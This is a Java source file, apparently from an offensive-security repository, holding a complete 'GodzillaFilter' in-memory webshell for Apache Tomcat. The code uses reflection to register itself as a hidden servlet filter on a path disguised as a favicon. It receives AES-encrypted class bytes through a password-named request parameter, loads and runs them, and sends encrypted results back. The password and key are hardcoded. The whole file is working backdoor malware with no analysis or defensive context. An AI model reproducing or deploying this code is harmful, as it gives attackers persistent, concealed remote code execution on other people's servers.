content: 
  package com.summersec.x;
  
  import java.io.ByteArrayOutputStream;
  import java.io.IOException;
  import java.lang.reflect.Field;
  import java.lang.reflect.Method;
  import java.math.BigInteger;
  import java.security.MessageDigest;
  import java.util.EnumSet;
  import javax.crypto.Cipher;
  import javax.crypto.spec.SecretKeySpec;
  import javax.servlet.DispatcherType;
  import javax.servlet.Filter;
  import javax.servlet.FilterChain;
  import javax.servlet.FilterConfig;
  import javax.servlet.ServletContext;
  import javax.servlet.ServletException;
  import javax.servlet.ServletRequest;
  import javax.servlet.ServletResponse;
  import javax.servlet.FilterRegistration.Dynamic;
  import javax.servlet.http.HttpServletRequest;
  import javax.servlet.http.HttpServletResponse;
  import javax.servlet.http.HttpSession;
  import org.apache.catalina.LifecycleState;
  import org.apache.catalina.core.ApplicationContext;
  import org.apache.catalina.core.StandardContext;
  import org.apache.catalina.util.LifecycleBase;
  
  public class GodzillaFilter extends ClassLoader implements Filter {
      public HttpServletRequest request = null;
      public HttpServletResponse response = null;
      String xc = "3c6e0b8a9c15224a";
      public String Pwd = "pass1024";
      public String path = "/favicondemo.ico";
      String md5;
      public String cs;
  
      public GodzillaFilter() {
          this.md5 = md5(this.Pwd + this.xc);
          this.cs = "UTF-8";
      }
  
      public GodzillaFilter(ClassLoader z) {
          super(z);
          this.md5 = md5(this.Pwd + this.xc);
          this.cs = "UTF-8";
      }
  
      public Class Q(byte[] cb) {
          return super.defineClass(cb, 0, cb.length);
      }
  
      public byte[] x(byte[] s, boolean m) {
          try {
              Cipher c = Cipher.getInstance("AES");
              c.init(m ? 1 : 2, new SecretKeySpec(this.xc.getBytes(), "AES"));
              return c.doFinal(s);
          } catch (Exception var4) {
              return null;
          }
      }
  
      public static String md5(String s) {
          String ret = null;
  
          try {
              MessageDigest m = MessageDigest.getInstance("MD5");
              m.update(s.getBytes(), 0, s.length());
              ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase();
          } catch (Exception var3) {
          }
  
          return ret;
      }
  
      public static String base64Encode(byte[] bs) throws Exception {
          String value = null;
  
          Class base64;
          try {
              base64 = Class.forName("java.util.Base64");
              Object Encoder = base64.getMethod("getEncoder", (Class[])null).invoke(base64, (Object[])null);
              value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
          } catch (Exception var6) {
              try {
                  base64 = Class.forName("sun.misc.BASE64Encoder");
                  Object Encoder = base64.newInstance();
                  value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
              } catch (Exception var5) {
              }
          }
  
          return value;
      }
  
      public static byte[] base64Decode(String bs) throws Exception {
          byte[] value = null;
  
          Class base64;
          try {
              base64 = Class.forName("java.util.Base64");
              Object decoder = base64.getMethod("getDecoder", (Class[])null).invoke(base64, (Object[])null);
              value = (byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs));
          } catch (Exception var6) {
              try {
                  base64 = Class.forName("sun.misc.BASE64Decoder");
                  Object decoder = base64.newInstance();
                  value = (byte[])((byte[])decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs));
              } catch (Exception var5) {
              }
          }
  
          return value;
      }
  
      public boolean equals(Object obj) {
          this.parseObj(obj);
          this.Pwd = this.request.getHeader("p");
          this.path = this.request.getHeader("path");
          StringBuffer output = new StringBuffer();
          String tag_s = "->|";
          String tag_e = "|<-";
  
          try {
              this.response.setContentType("text/html");
              this.request.setCharacterEncoding(this.cs);
              this.response.setCharacterEncoding(this.cs);
              output.append(this.addFilter());
          } catch (Exception var7) {
              output.append("error:" + var7.toString());
          }
  
          try {
              this.response.getWriter().print(tag_s + output.toString() + tag_e);
              this.response.getWriter().flush();
              this.response.getWriter().close();
          } catch (Exception var6) {
          }
  
          return true;
      }
  
      public void parseObj(Object obj) {
          if (obj.getClass().isArray()) {
              Object[] data = (Object[])((Object[])obj);
              this.request = (HttpServletRequest)data[0];
              this.response = (HttpServletResponse)data[1];
          } else {
              try {
                  Class clazz = Class.forName("javax.servlet.jsp.PageContext");
                  this.request = (HttpServletRequest)clazz.getDeclaredMethod("getRequest").invoke(obj);
                  this.response = (HttpServletResponse)clazz.getDeclaredMethod("getResponse").invoke(obj);
              } catch (Exception var8) {
                  if (obj instanceof HttpServletRequest) {
                      this.request = (HttpServletRequest)obj;
  
                      try {
                          Field req = this.request.getClass().getDeclaredField("request");
                          req.setAccessible(true);
                          HttpServletRequest request2 = (HttpServletRequest)req.get(this.request);
                          Field resp = request2.getClass().getDeclaredField("response");
                          resp.setAccessible(true);
                          this.response = (HttpServletResponse)resp.get(request2);
                      } catch (Exception var7) {
                          try {
                              this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse").invoke(obj);
                          } catch (Exception var6) {
                          }
                      }
                  }
              }
          }
  
      }
  
      public String addFilter() throws Exception {
          ServletContext servletContext = this.request.getServletContext();
          Filter filter = this;
          String filterName = this.path;
          String url = this.path;
          if (servletContext.getFilterRegistration(filterName) == null) {
              Field contextField = null;
              ApplicationContext applicationContext = null;
              StandardContext standardContext = null;
              Field stateField = null;
              Dynamic filterRegistration = null;
  
              String var11;
              try {
                  contextField = servletContext.getClass().getDeclaredField("context");
                  contextField.setAccessible(true);
                  applicationContext = (ApplicationContext)contextField.get(servletContext);
                  contextField = applicationContext.getClass().getDeclaredField("context");
                  contextField.setAccessible(true);
                  standardContext = (StandardContext)contextField.get(applicationContext);
                  stateField = LifecycleBase.class.getDeclaredField("state");
                  stateField.setAccessible(true);
                  stateField.set(standardContext, LifecycleState.STARTING_PREP);
                  filterRegistration = servletContext.addFilter(filterName, filter);
                  filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});
                  Method filterStartMethod = StandardContext.class.getMethod("filterStart");
                  filterStartMethod.setAccessible(true);
                  filterStartMethod.invoke(standardContext, (Object[])null);
                  stateField.set(standardContext, LifecycleState.STARTED);
                  var11 = null;
  
                  Class filterMap;
                  try {
                      filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                  } catch (Exception var21) {
                      filterMap = Class.forName("org.apache.catalina.deploy.FilterMap");
                  }
  
                  Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps");
                  Object[] filterMaps = (Object[])((Object[])findFilterMaps.invoke(standardContext));
  
                  for(int i = 0; i < filterMaps.length; ++i) {
                      Object filterMapObj = filterMaps[i];
                      findFilterMaps = filterMap.getMethod("getFilterName");
                      String name = (String)findFilterMaps.invoke(filterMapObj);
                      if (name.equalsIgnoreCase(filterName)) {
                          filterMaps[i] = filterMaps[0];
                          filterMaps[0] = filterMapObj;
                      }
                  }
  
                  String var25 = "Success";
                  return var25;
              } catch (Exception var22) {
                  var11 = var22.getMessage();
              } finally {
                  stateField.set(standardContext, LifecycleState.STARTED);
              }
  
              return var11;
          } else {
              return "Filter already exists";
          }
      }
  
      public void init(FilterConfig filterConfig) throws ServletException {
      }
  
      public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
          try {
              HttpServletRequest request = (HttpServletRequest)req;
              HttpServletResponse response = (HttpServletResponse)resp;
              HttpSession session = request.getSession();
              byte[] data = base64Decode(req.getParameter(this.Pwd));
              data = this.x(data, false);
              if (session.getAttribute("payload") == null) {
                  session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data));
              } else {
                  request.setAttribute("parameters", data);
                  ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
                  Object f = ((Class)session.getAttribute("payload")).newInstance();
                  f.equals(arrOut);
                  f.equals(request);
                  response.getWriter().write(this.md5.substring(0, 16));
                  f.toString();
                  response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
                  response.getWriter().write(this.md5.substring(16));
              }
          } catch (Exception var10) {
          }
  
      }
  
      public void destroy() {
      }
  }
  